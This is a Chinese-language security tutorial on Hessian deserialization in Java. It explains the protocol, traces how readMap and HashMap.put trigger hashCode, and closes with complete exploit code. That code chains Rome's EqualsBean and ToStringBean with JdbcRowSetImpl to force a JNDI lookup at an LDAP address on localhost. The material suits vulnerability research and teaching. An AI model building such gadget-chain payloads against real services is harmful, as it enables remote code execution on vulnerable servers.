Hessian反序列化
什么是Hessian?
Hessian 是一种基于二进制协议的网络传输协议,用于通过网络在不同的系统之间进行远程方法调用(RPC)。它以其高效、简单和易于使用而受到广泛关注。
Hessian 协议使用二进制编码来序列化对象,并通过网络传输这些二进制数据。相比于文本协议(如XML或JSON),二进制协议可以显著减少传输的数据量,提高传输效率。
Hessian 协议支持多种编程语言,使得不同语言的应用程序可以方便地进行跨语言的远程方法调用。通常,开发人员只需定义接口和方法,然后在客户端和服务器端分别实现这些接口,Hessian 协议会负责将方法调用请求和响应进行序列化和反序列化,从而实现远程过程调用。
Hessian 在一些 Java 后端框架中应用广泛,例如 Dubbo、Spring 等。它具有轻量级、高性能、跨语言等特点,适用于构建分布式系统或者跨语言的微服务架构。
Hessian反序列化
首先导入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
编写一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package main.java.Hessian;
import java.io.Serializable;
public class Person implements Serializable { String name; int age; public Person(String name,int age){ this.age = age; this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public void setAge(int age) { this.age = age; }
public int getAge() { return age; }
@Override public String toString() { return "this is toString"; } }
|
然后编写一个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package main.java.Hessian;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException;
public class test { public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); System.out.println("end"); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; } public static void main(String[] args) throws IOException { Person ycxlo = new Person("ycxlo", 18); byte[] serialize = serialize(ycxlo); Object deserialize = deserialize(serialize); System.out.println(deserialize); } }
|
运行结果如下:
可以看到,Hessian序列化出来的有一些乱码,说明它和传统的serialize不同,它是使用二进制编码来序列化对象,并且在输出反序列化后的对象时调用tostring方法
漏洞分析
从readObject开始,下断点分析
可以看到,传入的bytes数组的第一位是77,即为M,因为Hessian会把序列化的数据转换为Map,所以第一位总是M
获取刚刚bytes数组的第一位,即77,M,跳转到下面
调用了readType方法,跟进一下
读取了第二个数字,116,后面是对bytes的一个解析,解析的结果便是我们序列化类的完整包名
然后会调用SerializerFactory的readMap方法
调用了getDeserializer方法,跟进
随后会走到这里
加载了我们序列化的类,然后到这里
将我们序列化的类加载进了Map缓存,调用了put方法,而put方法中会对key调用hash方法,也就是说,触发了我们的调用链
漏洞利用
我们尝试接壤rome链(其关键触发方法为hashcode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package main.java.Hessian;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap;
public class Hessian_JNDI implements Serializable {
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); }
public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://localhost:7777/test"; jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } }
|